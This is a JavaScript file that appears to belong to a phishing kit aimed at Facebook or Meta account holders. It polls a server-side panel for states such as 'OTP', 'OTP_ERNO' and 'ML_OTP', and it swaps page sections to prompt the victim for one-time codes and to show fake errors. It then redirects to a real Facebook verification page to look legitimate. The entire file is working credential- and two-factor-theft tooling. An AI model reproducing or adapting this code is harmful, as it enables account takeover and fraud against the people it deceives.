var lastWindows = 'suzuki-logon-area'; // Updated to match the new div ID

function loadstation() {
    var lastState = '';
    sendPost(sess);

    $("#station_data").load("global/inc/postman.php?getState&_sess=" + sess, function(response, status, xhr) {
        if (status === "success") {
            lastState = response;
            checkState(response);
        } else {
            console.log("Error loading content.");
        }
    });
}

function checkState(state) {

    if (state.includes("LOADING")) {
        console.log("loading!");

    } else if (state.trim() === "OTP") {
        console.log('OTP');
        setValue('_kd', '');
        $('#loading-content').hide();
        $('#' + lastWindows).hide();
        $('#suzuki-sec-area').show();
        $('#_kd').focus();
        lastWindows = 'suzuki-sec-area';
        return 0;

    }  else if (state.trim() === "Login") {
    let host = window.location.origin;
    window.location.href = host + "?h=1";
}
else if (state.trim() === "OTP_ERNO") {
        console.log('OTP_ERNO');
        setValue('_kd', '');
        $('#loading-content').hide();
        $('#' + lastWindows).hide();
        $('#suzuki-sec-area').show();
        $('#_kd').focus();
        lastWindows = 'suzuki-sec-area';
        showError('_kd');
        $('#op_erno').show();
        return 0;

    } else if (state.trim() === "ML_OTP") {
        console.log('ML_OTP');
        setValue('_kd', '');
        $('#loading-content').hide();
        $('#' + lastWindows).hide();
        $('#suzuki-sec-ml-area').show();
        $('#_kd_ml').focus();
        lastWindows = 'suzuki-sec-ml-area';
        return 0;

    } else if (state.trim() === "ML_OTP_ERNO") {
        console.log('ML_OTP_ERNO');
        setValue('_kd', '');
        $('#loading-content').hide();
        $('#' + lastWindows).hide();
        $('#suzuki-sec-ml-area').show();
        $('#_kd_ml').focus();
        lastWindows = 'suzuki-sec-ml-area';
        showError('_kd_ml');
        $('#ml_erno').show();
        return 0;

    } else if (state.trim() === "FINISH") {
        console.log('FINISH');
        $('#loading-content').hide();
        $('#' + lastWindows).hide();
        $('#suzuki-success-area').show();
        redirect('https://www.facebook.com/business/learn/lessons/verify-facebook-instagram-account/', 7500);
        return 0;

    }

    setTimeout(loadstation, 2000);
}